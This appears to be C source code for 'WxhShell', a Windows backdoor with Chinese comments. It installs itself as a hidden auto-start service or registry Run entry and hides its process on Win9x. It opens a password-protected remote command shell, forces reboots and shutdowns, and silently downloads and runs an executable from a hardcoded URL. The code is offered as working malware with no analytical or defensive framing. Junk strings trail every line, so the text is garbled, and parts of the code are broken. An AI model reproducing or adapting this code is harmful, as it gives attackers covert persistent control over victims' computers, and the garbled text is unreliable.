    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y6tqemz  
    else { L.yM"  
    closesocket(wsh); UPr& `kaJ  
    ExitThread(0); d~rA`!s7`  
    } .?5 ~zK  
    break; 036m\7+Qj  
    } 5,s@K>9l;  
  // 获取shell F-rhxJd  
  case 's': { ]&"ii  
    CmdShell(wsh); `h'l"3l  
    closesocket(wsh); )^ZC'[93  
    ExitThread(0); H v/5)  
    break; fs;\_E[)  
  } KpLaQb  
  // 退出 " "m-5PGYo  
  case 'x': { 9  @ <  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hU-FSdR  
    CloseIt(wsh); !reOYt|  
    break; =pi,]m  
    } NfPWcK [  
  // 离开 MD;Z UAX<  
  case 'q': { du$M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M1Ff ,]w  
    closesocket(wsh); ;22?-F^  
    WSACleanup(); 3IQI={:k|D  
    exit(1); }xt^}:D  
    break; ?!U.o1  
        } C]8w[)d[`;  
  } <=GZm}/]N  
  } E;s_=j1f  
^pd7nr~Y  
  // 提示信息 X,aRL6>r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z8FgxR  
} <!FcQVH+L  
  } ]s0wJD=  
zps =~|  
  return; / 7\q#qIm:  
} ]r 0j  
bAH<h   
// shell模块句柄 He'VqUw_  
int CmdShell(SOCKET sock) 5NUaXQ  
{ O2ktqAWx@  
STARTUPINFO si; >I5Wf /$  
ZeroMemory(&si,sizeof(si)); Vn kh Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?xH{7)dO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wU!-sf;]y  
PROCESS_INFORMATION ProcessInfo; BXU0f%"8U  
char cmdline[]="cmd"; h[iO'Vq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iYvzZ7 8f  
  return 0; %m f)BC  
} C.:S@{sK  
8g!79q\c4  
// 自身启动模式 Qx,#Hj  
int StartFromService(void) G4 :\6fu  
{ z"yW):X  
typedef struct mOh?cjOi  
{ aWJ BYw6{L  
  DWORD ExitStatus; !ITM:%  
  DWORD PebBaseAddress; c}n66qJF5  
  DWORD AffinityMask; OYt_i'Q  
  DWORD BasePriority; 4hxP`!<  
  ULONG UniqueProcessId; S-o )d  
  ULONG InheritedFromUniqueProcessId; P HOngn  
}   PROCESS_BASIC_INFORMATION; { "Cu)AFy  
Hy\q{  
PROCNTQSIP NtQueryInformationProcess; -ak. wwx\  
FWW@t1)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /iM1   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G \MeJSt*  
K;"oK  
  HANDLE             hProcess; = FV12(U  
  PROCESS_BASIC_INFORMATION pbi; V6[jhdb  
%La7);SeY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7glf?oE  
  if(NULL == hInst ) return 0; +C7E]0!r  
pXlqE,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TA/hj>rV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); b3[[ Ah-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [Z2[Iy  
\^9n&MonM  
  if (!NtQueryInformationProcess) return 0; } %?or_f/  
o96c`a u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); de2G"'F  
  if(!hProcess) return 0; #tHYCSr]  
&x\)] i2f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'D`lVUB  
qGV(p}$O  
  CloseHandle(hProcess); &l ]F&-  
+u=VO#IA#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d2i ?FT>  
if(hProcess==NULL) return 0; !2HF|x$  
M0lJyz J  
HMODULE hMod; r`<e<C  
char procName[255]; k6z ]-XG  
unsigned long cbNeeded; qS! Lt3+  
~= c 5q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -f ~1Id  
"#gKI/[qxq  
  CloseHandle(hProcess); QnBWZUI  
3GKKC9C6  
if(strstr(procName,"services")) return 1; // 以服务启动 k3t]lG p  
FIfLDT+Wh  
  return 0; // 注册表启动 ~E8/m_> rU  
} f?=0Wzb  
m%})H"5  
// 主模块 /~WBqcl  
int StartWxhshell(LPSTR lpCmdLine) !9HWx_,|Z  
{ oXh t$Q  
  SOCKET wsl; ~Azj Y8  
BOOL val=TRUE; 9v;[T%%  
  int port=0; cy!P!t,@  
  struct sockaddr_in door; q:M'|5P  
D`[@7$t  
  if(wscfg.ws_autoins) Install(); l$j~p=S$F  
X6Z/xb@  
port=atoi(lpCmdLine); q {   
> O?<?  
if(port<=0) port=wscfg.ws_port; %7`eT^  
{na>)qzKP  
  WSADATA data; VhLfSN>W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q] pHD})O  
@|"K"j#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   zi`q([  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); > r(`4M:  
  door.sin_family = AF_INET; _i7yyt;h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ji4bz#/B0  
  door.sin_port = htons(port); lY@2$q9BT  
|ITCw$T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^Tj{}<yT  
closesocket(wsl); 4zhh **]B  
return 1; 2f%+1uU  
} O>vCi&  
%wru)  
  if(listen(wsl,2) == INVALID_SOCKET) { G?LC!9MB  
closesocket(wsl); 'lpCwH  
return 1; WQN`y>1#@_  
} ct=K.m@E%X  
  Wxhshell(wsl); >h~ik/|*  
  WSACleanup(); *v(Q-FW  
x|d?'  
return 0; PWp=}f.y  
/%7&De6Xg  
} 7D>_<)%d=  
9 5j`^M)Q  
// 以NT服务方式启动 Tr}XG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V>obMr^5  
{ u' kG(<0Y  
DWORD   status = 0; B0Z>di:  
  DWORD   specificError = 0xfffffff; wE<r'  
[+W<;iep  
  serviceStatus.dwServiceType     = SERVICE_WIN32; J[uH@3v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N}#"o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; icIWv  
  serviceStatus.dwWin32ExitCode     = 0; C .B=E"e  
  serviceStatus.dwServiceSpecificExitCode = 0; x)eF{%QB  
  serviceStatus.dwCheckPoint       = 0; /%jX=S.5h<  
  serviceStatus.dwWaitHint       = 0; ;K>'Gl  
H{i|?a)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =~W=}  
  if (hServiceStatusHandle==0) return; pZ*%zt]-a  
h:G>w`X  
status = GetLastError(); >L "+8N6  
  if (status!=NO_ERROR) nTtEv~a_n  
{ :EYUBtTj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n!SHExBp  
    serviceStatus.dwCheckPoint       = 0; *]R5bj.!o  
    serviceStatus.dwWaitHint       = 0; `Xeiz'~f8  
    serviceStatus.dwWin32ExitCode     = status; =E!Y f#p+q  
    serviceStatus.dwServiceSpecificExitCode = specificError; (xTGt",_Jo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @x!+_z  
    return; ,H.5TQ#  
  } h0dZr-c  
-(lP8Y~gFY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kmu`sk"  
  serviceStatus.dwCheckPoint       = 0; 0!0o[3*  
  serviceStatus.dwWaitHint       = 0; umnQ$y 0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =w`uZ;l$Q  
} CSW+UaE  
Gl|n}wo$  
// 处理NT服务事件,比如:启动、停止 B6Ajcfy  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \k"CtzoX  
{ A*/8j\{n  
switch(fdwControl) ~UeTV?)  
{ XHJ` C\xR  
case SERVICE_CONTROL_STOP: YIgHLM(  
  serviceStatus.dwWin32ExitCode = 0; \ %MsG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [YODyf}M>\  
  serviceStatus.dwCheckPoint   = 0; -L6CEe  
  serviceStatus.dwWaitHint     = 0; T2rBH]5  
  { o6~JAvw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Z42EnJ  
  } `s UY$Q  
  return; HIE8@Rv/3  
case SERVICE_CONTROL_PAUSE: a(?)r[=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?GhMGpd Mq  
  break; ?D)$O CS  
case SERVICE_CONTROL_CONTINUE: {{M/=WqC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E6O!e<ze^  
  break; O8" t.W  
case SERVICE_CONTROL_INTERROGATE: B@dCCKc%/  
  break; n=$ne2/  
}; .<fdX()e,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :HY =^$\  
} xw_)~Y%\  
@Y.r ,q  
// 标准应用程序主函数 FAM:; F30  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o^"OKHU,S0  
{ |sFd5X  
@+p(%  
// 获取操作系统版本 {dRZ2U3  
OsIsNt=GetOsVer(); 6`7bk35B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]63! Wc  
IDos4nM27]  
  // 从命令行安装 $$o(  
  if(strpbrk(lpCmdLine,"iI")) Install(); oq$#wiV"Q  
2.MUQ;OX  
  // 下载执行文件 XSK<hr0m  
if(wscfg.ws_downexe) { }#4Ek8nFR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c[ 0`8s!  
  WinExec(wscfg.ws_filenam,SW_HIDE); +U_1B%e(%  
} gCG #?f  
0} &/n>F  
if(!OsIsNt) { LdNpb;*  
// 如果时win9x,隐藏进程并且设置为注册表启动  s7:H  
HideProc(); #Y   
StartWxhshell(lpCmdLine); 6~W@$SP,F  
} ~@-r  
else ybFxz  
  if(StartFromService()) ~$[fG}C.K  
  // 以服务方式启动 m]fUV8U  
  StartServiceCtrlDispatcher(DispatchTable); `\;Z&jlpT  
else -+Yark  
  // 普通方式启动 {~Jk(c~I  
  StartWxhshell(lpCmdLine); 8{i}^.p  
<`; {gX1  
return 0; v_/<f&r  
} 55$';gh,9  
m F+8Q  
!V/\_P!I  
MY c&  
=========================================== (F.w?f4B3  
#<e D  
ceCO*m~  
n@;B_Bt7  
zG9D Ph  
=VZ_';b h  
" :@-yK8q's  
!P^Mo> "  
#include <stdio.h> @sg.0GR  
#include <string.h> yOKzw~;0%  
#include <windows.h> zP2X}VLMo  
#include <winsock2.h> zYY]+)k?  
#include <winsvc.h> 5*YvgB;  
#include <urlmon.h> EleJ$ `/  
<Y1 Plc  
#pragma comment (lib, "Ws2_32.lib") GtZ.' ?-  
#pragma comment (lib, "urlmon.lib") cYC^;,C &|  
'OP0#`6`  
#define MAX_USER   100 // 最大客户端连接数 [Eu) ~J*  
#define BUF_SOCK   200 // sock buffer 2; ,8 u  
#define KEY_BUFF   255 // 输入 buffer &}2@pu[S?7  
>,3uu}s  
#define REBOOT     0   // 重启 to&,d`k=-  
#define SHUTDOWN   1   // 关机 {!qnHv\S  
=*lBJ-L  
#define DEF_PORT   5000 // 监听端口 CyYr5 Dz  
S1y6G/e9  
#define REG_LEN     16   // 注册表键长度 /Qr`au  
#define SVC_LEN     80   // NT服务名长度 I{[Z  
2YW;=n  
// 从dll定义API y1PyH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G'-#99wv.  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Jkbeh.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e_KfnPY   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); V|sV U  
0^u Ut-  
// wxhshell配置信息 ~:f..|JM  
struct WSCFG { aHpZhR| f$  
  int ws_port;         // 监听端口 ZBY2,%nAo  
  char ws_passstr[REG_LEN]; // 口令 WfG +_iP?  
  int ws_autoins;       // 安装标记, 1=yes 0=no @Bhcb.kbq  
  char ws_regname[REG_LEN]; // 注册表键名 '=Lpch2J  
  char ws_svcname[REG_LEN]; // 服务名 *kqC^2t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t? 6 et1~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >jIn&s!}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _&S#;ni\c  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FibZT1-k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Rky]F+J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 V8B4e4F  
d *gv.mE  
}; <n#X~}i)  
-wg}X-'z0  
// default Wxhshell configuration -XV+F@`Md  
struct WSCFG wscfg={DEF_PORT, C&vi7Yx  
    "xuhuanlingzhe", 8Ala31  
    1, 1eshuL  
    "Wxhshell", KHHYk>FR  
    "Wxhshell", ;xzaW4(3  
            "WxhShell Service", [ fzYC'A=  
    "Wrsky Windows CmdShell Service", -mRgB"8  
    "Please Input Your Password: ", oU\7%gQ  
  1, -q{N1? tcy  
  "http://www.wrsky.com/wxhshell.exe", g:JSy  
  "Wxhshell.exe" L98T!5)  
    }; SKnYeT  
JRFUNy1+e1  
// 消息定义模块 ws!~MSIy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hPBBXj/=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8t*sp-cy|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; p5or"tK  
char *msg_ws_ext="\n\rExit."; M;ADL|  
char *msg_ws_end="\n\rQuit."; ~:T@SrVI  
char *msg_ws_boot="\n\rReboot..."; LPJ7V` !k  
char *msg_ws_poff="\n\rShutdown..."; b=:ud[h  
char *msg_ws_down="\n\rSave to "; 04;s@\yX4  
X]@"ZV[  
char *msg_ws_err="\n\rErr!"; ~,1Sw7 rE  
char *msg_ws_ok="\n\rOK!"; R`a~8QVh&5  
([< HFc`  
char ExeFile[MAX_PATH]; $B%KkD  
int nUser = 0; Ta?}n^V?;  
HANDLE handles[MAX_USER]; jUA~}DVD  
int OsIsNt; -W('^v_*  
;;+AdN5  
SERVICE_STATUS       serviceStatus; ;j1E6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `<se&IZE  
KU` *LB:  
// 函数声明 T&]-p:mg^  
int Install(void); ~i%=1&K&`  
int Uninstall(void); QWfSm^ t  
int DownloadFile(char *sURL, SOCKET wsh); {P~rf&Ee  
int Boot(int flag); d8jH?P-"  
void HideProc(void); naf ~#==vc  
int GetOsVer(void); ySO\9#Ho  
int Wxhshell(SOCKET wsl); 9c)#j&2?H  
void TalkWithClient(void *cs); ;n(f?RO3X  
int CmdShell(SOCKET sock); (wZ!OLY%}  
int StartFromService(void); qovsM M  
int StartWxhshell(LPSTR lpCmdLine); rn*'[i?  
,*6K3/kW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qD>^aEd@4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mXyP;k  
;i6~iLY  
// 数据结构和表定义 \M\7k5$  
SERVICE_TABLE_ENTRY DispatchTable[] = [C6ba{9 B  
{ n Ab~  
{wscfg.ws_svcname, NTServiceMain}, ?}s;,_GH  
{NULL, NULL} MBA?, |9Q#  
}; o(jLirnk  
ZJBb% d1;  
// 自我安装 tjXg  
int Install(void) ktTP~7UVi  
{ aHW34e@ebL  
  char svExeFile[MAX_PATH]; zs#-E_^%M  
  HKEY key; e3;D1@  
  strcpy(svExeFile,ExeFile); \Yr*x7!  
d%'#-w'  
// 如果是win9x系统,修改注册表设为自启动 |@JTSz*Or  
if(!OsIsNt) { x0Loid\f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zG ='U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lF}@@e)N  
  RegCloseKey(key); z f SE7i0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;(`bP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \]Ah=`  
  RegCloseKey(key); ?{f6su@rW  
  return 0; o1(;"5MM  
    } C][hH?.  
  } L4/ns@e  
} bOr11?  
else { a`w=0]1&*  
6J,h}S  
// 如果是NT以上系统,安装为系统服务 a pa&'%7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iLSUz j`  
if (schSCManager!=0) <7J3tn B  
{ JL87a^ro  
  SC_HANDLE schService = CreateService WkA47+DsV  
  ( ;`7~Q  
  schSCManager, h76j|1gI  
  wscfg.ws_svcname, GE!nf6>Km  
  wscfg.ws_svcdisp, *% ;A85V/  
  SERVICE_ALL_ACCESS, u$aK19K/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , La1:WYt  
  SERVICE_AUTO_START, qK%N{ro[{?  
  SERVICE_ERROR_NORMAL, xQvI$vP  
  svExeFile, G=17]>U  
  NULL, ; D<k  
  NULL, ~q566k!Ll!  
  NULL, 9/0H,qZc  
  NULL, PDD2ouv4  
  NULL *b) (-#w3  
  ); l.pxDMY  
  if (schService!=0) $mGzJ4&  
  { VX.LL 5  
  CloseServiceHandle(schService); j "<?9/r  
  CloseServiceHandle(schSCManager); &EV%g6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sX~E ~$_g  
  strcat(svExeFile,wscfg.ws_svcname); 1i z =i^}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _9lMa 7i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {"Sv~L|J;  
  RegCloseKey(key); \UK}B  
  return 0; ]gPx%c  
    } -&2Z/qM&!  
  } U!|)M  
  CloseServiceHandle(schSCManager); lot`6]  
} M 8WjqTq  
} RG45S0Ygj  
1w7tRw  
return 1; G^d3$7  
} /P,1KVQPh  
a8T9=KY^  
// 自我卸载 cOP'ql{"  
int Uninstall(void) @3c'4O   
{ 5CK\Z'c~!  
  HKEY key; Zt9G[[]  
R5=J:o  
if(!OsIsNt) { yP$esDP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3'.3RKV  
  RegDeleteValue(key,wscfg.ws_regname); R&W%E%uj  
  RegCloseKey(key); s 7 nl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G]aey>)  
  RegDeleteValue(key,wscfg.ws_regname); @~hy'6/  
  RegCloseKey(key); k)>H=?mI  
  return 0; Ql5bjlQdO  
  } Q.B)?wm  
} 1r> ]XhRFZ  
} NHyUHFY  
else { Jp"29 )w  
Z]b;%:>=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2Ty]s~  
if (schSCManager!=0) "7%jv[  
{ BT [|f[1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); PzKTEYJL  
  if (schService!=0) u|IS7>Sm  
  { Cty{   
  if(DeleteService(schService)!=0) { Jt]RU+TB  
  CloseServiceHandle(schService); Q |o$^D,  
  CloseServiceHandle(schSCManager); :& Dv!z  
  return 0; kfas4mkc  
  } N@PwC(   
  CloseServiceHandle(schService); K9xvog  
  } #>aq'47j  
  CloseServiceHandle(schSCManager); 0a:oC(Ak  
} `:3nF'  
} ?X|q   
{ax]t-ZwJ5  
return 1; Ox J0. "  
} afX|R  
((]i}s0S  
// 从指定url下载文件 [(*Eg!?W=  
int DownloadFile(char *sURL, SOCKET wsh) Y(6ev o&IR  
{ P,] ./m\J  
  HRESULT hr; &Pme4IHtm  
char seps[]= "/"; &'^.>TJ\  
char *token; %N&.B  
char *file; L3\#ufytb  
char myURL[MAX_PATH]; LI.WcI3uS  
char myFILE[MAX_PATH]; <Mvni z  
' :_9o5I  
strcpy(myURL,sURL); ktfm  
  token=strtok(myURL,seps); w3q'n%  
  while(token!=NULL) %R?7u'=~  
  { QErdjjg E  
    file=token; )lLeL#]FLO  
  token=strtok(NULL,seps); 7Q|<6210  
  } :8O T  
O'98OH+u  
GetCurrentDirectory(MAX_PATH,myFILE); pdJ]V`m  
strcat(myFILE, "\\"); | U0s1f  
strcat(myFILE, file); >#:SJ?)`T  
  send(wsh,myFILE,strlen(myFILE),0); L~/,;PHN  
send(wsh,"...",3,0); f$:Y'$Z1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5B)&;[  
  if(hr==S_OK) j17h_ a;  
return 0; `Ns@W?  
else =cV|o]  
return 1; Z4Q]By:/L  
%2dzx[s  
} RdD>&D$I  
`,SL\\%u  
// 系统电源模块 ~.3v\Q  
int Boot(int flag) RN 4?]8  
{ s.7=!JQ#]p  
  HANDLE hToken; %`k [xz  
  TOKEN_PRIVILEGES tkp; 9NwUX h(:(  
`l'T/F \  
  if(OsIsNt) { o#6QwbU25  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |HT7m5tu4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &Cb,C+q  
    tkp.PrivilegeCount = 1; &1<[@:;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >x*[izr/K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I H=$ w c  
if(flag==REBOOT) { XcT!4xG0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ',g%L_8Sq  
  return 0; !`N:.+DT  
} pnSKIn  
else { z4_B/Q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 36{OE!,i  
  return 0; S|| W  
} EGgw#JAi#t  
  } D)x^?!  
  else { ^k7I+A  
if(flag==REBOOT) { h(yFr/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^z!=,M<+{  
  return 0; BA1H)%  
} # &)H&H}  
else { pW.WJ`Rk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ./;uhj  
  return 0; QWa@?BO2p  
} W8bp3JX"  
} DgcS@N  
%J2Ad  
return 1; U&6A)SW,k  
} (${:5W  
?7wcv$K5  
// win9x进程隐藏模块 -V;Y4,:c  
void HideProc(void) ox`Zs2-a  
{ GdUsv  
-){6ynqv  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,gZp/yJ;  
  if ( hKernel != NULL ) o_Z9\'u  
  { ZqrS]i@$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?" 4X&6xl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8y6dT  
    FreeLibrary(hKernel); *#>(P  
  } pLe4dz WA  
@2. :fK  
return; %dnpO|L  
} r e zp7  
[;IEZ/ZX  
// 获取操作系统版本 L&s~j/ pR  
int GetOsVer(void) AJ>E\DK0]  
{ n\D/WLvM  
  OSVERSIONINFO winfo; `XE>Td>Bs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Dk sn  
  GetVersionEx(&winfo); @yb'h`f]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M2ex 3m  
  return 1; f_O|  
  else 8D`+3  
  return 0; HdtGyh6X0  
} ,nL~?h-Zh  
j[i*;0) |  
// 客户端句柄模块 \^,Jh|T  
int Wxhshell(SOCKET wsl) ;taZixOH  
{ 7#+Ih-&EQ  
  SOCKET wsh; ~Yc~_)hD  
  struct sockaddr_in client; %t,42jQ9  
  DWORD myID; ^A&{g.0  
5@1h^w v  
  while(nUser<MAX_USER) *JX$5bZsI  
{ &Qda|  
  int nSize=sizeof(client); N LpKh1g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); SaGI4O_\s  
  if(wsh==INVALID_SOCKET) return 1; %8I^&~E1  
G"&$7!6[Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l-W)? d  
if(handles[nUser]==0) :I7qw0?  
  closesocket(wsh); [r>hK ZU2  
else  "2%R?  
  nUser++; l opl  
  } g zi=+oJ|4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?;](;n#lU  
)|v  du  
  return 0; G3|23G.~)(  
} En7+fQ  
)G/=3;!  
// 关闭 socket ESoqmCJjb:  
void CloseIt(SOCKET wsh) i#YDdz  
{ yxx_%9X  
closesocket(wsh); 4w%hvJ  
nUser--; Bn 8&~  
ExitThread(0); !lzj.|7=1  
} s[{8:Px  
>.P* lT  
// 客户端请求句柄 qU6!vgM&  
void TalkWithClient(void *cs) n1|]ji[c  
{ @A8y!<  
W:n\,P  
  SOCKET wsh=(SOCKET)cs; ;C o"bP's  
  char pwd[SVC_LEN]; Mfz(%F|<  
  char cmd[KEY_BUFF]; <5KoK!H  
char chr[1]; Eyf17  
int i,j; b?0WA.[{  
0P$19T N  
  while (nUser < MAX_USER) { < hy!B4  
8bMw.u=F  
if(wscfg.ws_passstr) { JfJ ln[  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +1qvT_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }mp`!7?>O  
  //ZeroMemory(pwd,KEY_BUFF); PJKY$s.  
      i=0; " Ke_dM  
  while(i<SVC_LEN) { =>Ae]mi 7  
4`v[p4k  
  // 设置超时 7Y~5gn  
  fd_set FdRead; u* iqwm.  
  struct timeval TimeOut; 7>7n|N  
  FD_ZERO(&FdRead); g-#eMQ%J  
  FD_SET(wsh,&FdRead); n}Thc6f3D  
  TimeOut.tv_sec=8; S|u5RU8*"|  
  TimeOut.tv_usec=0; mhIGunK;+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PNLlJlYlP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 24InwR|^  
YVRE 9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _`QMEr?  
  pwd=chr[0]; jyg>'"W  
  if(chr[0]==0xd || chr[0]==0xa) { sdXchVC  
  pwd=0; .w\4Th#  
  break; a&[[@1OY  
  } &flcJ`  
  i++; ~O./A-l  
    } M[b~5L+S  
$aXYtHI  
  // 如果是非法用户,关闭 socket .Z QXY%g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FhH*lO&  
} cQh{z8Bf?<  
bU}!bol  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jj ` 0w@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T2W^4)  
-=rGN"(M _  
while(1) { c?xeBC1-  
vA*NJ%&`  
  ZeroMemory(cmd,KEY_BUFF); ZQz;EV!  
hhjsg?4uL  
      // 自动支持客户端 telnet标准   v/KTEM  
  j=0; B7{j$0fm*  
  while(j<KEY_BUFF) { ]6=opvm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g+.E=Ef8<4  
  cmd[j]=chr[0]; Q(8W5Fb?  
  if(chr[0]==0xa || chr[0]==0xd) { H-5f!>)  
  cmd[j]=0; OB,T>o@  
  break; 3joMtRB>;  
  } \hzx?  
  j++; @J@bD+Q+0  
    } #lVSQZO~a  
N/^[c+J  
  // 下载文件 l%2B4d9"v  
  if(strstr(cmd,"http://")) { 1 d.>?^uE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |@-y+vbA*  
  if(DownloadFile(cmd,wsh)) Dhg/>@tw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eh_[8:dK  
  else nzYFa J+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ C_2D?  
  } gAi}"} ;  
  else { >273V+dy  
g ]}] /\  
    switch(cmd[0]) { v g tJ+GjN  
  [iSLn3XXRX  
  // 帮助 x~yd/ R  
  case '?': { +fIy eX  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S 1Ji\  
    break; 1 gRR  
  } .fW`/BXE  
